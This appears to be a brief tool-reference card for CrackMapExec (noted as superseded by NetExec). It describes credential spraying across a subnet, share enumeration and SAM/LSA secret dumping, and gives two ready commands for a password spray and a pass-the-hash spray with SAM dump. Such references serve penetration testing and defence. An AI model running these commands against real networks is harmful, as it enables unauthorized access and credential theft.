// what it is
Description
Note: CrackMapExec is deprecated in favor of NetExec (nxc) as of 2023, but the workflow is identical. Sprays credentials across a subnet, enumerates shares, executes commands, dumps SAM and LSA secrets.
// use cases
What people use it for
- Credential validation across an internal subnet
- Bulk SAM/LSA dump
- Pass-the-Hash spraying
// commands
The commands you'll type
Validate creds across subnet
$ crackmapexec smb 10.0.0.0/24 -u admin -p 'Password1!'PtH spray + SAM dump
$ crackmapexec smb 10.0.0.0/24 -u admin -H <hash> --sam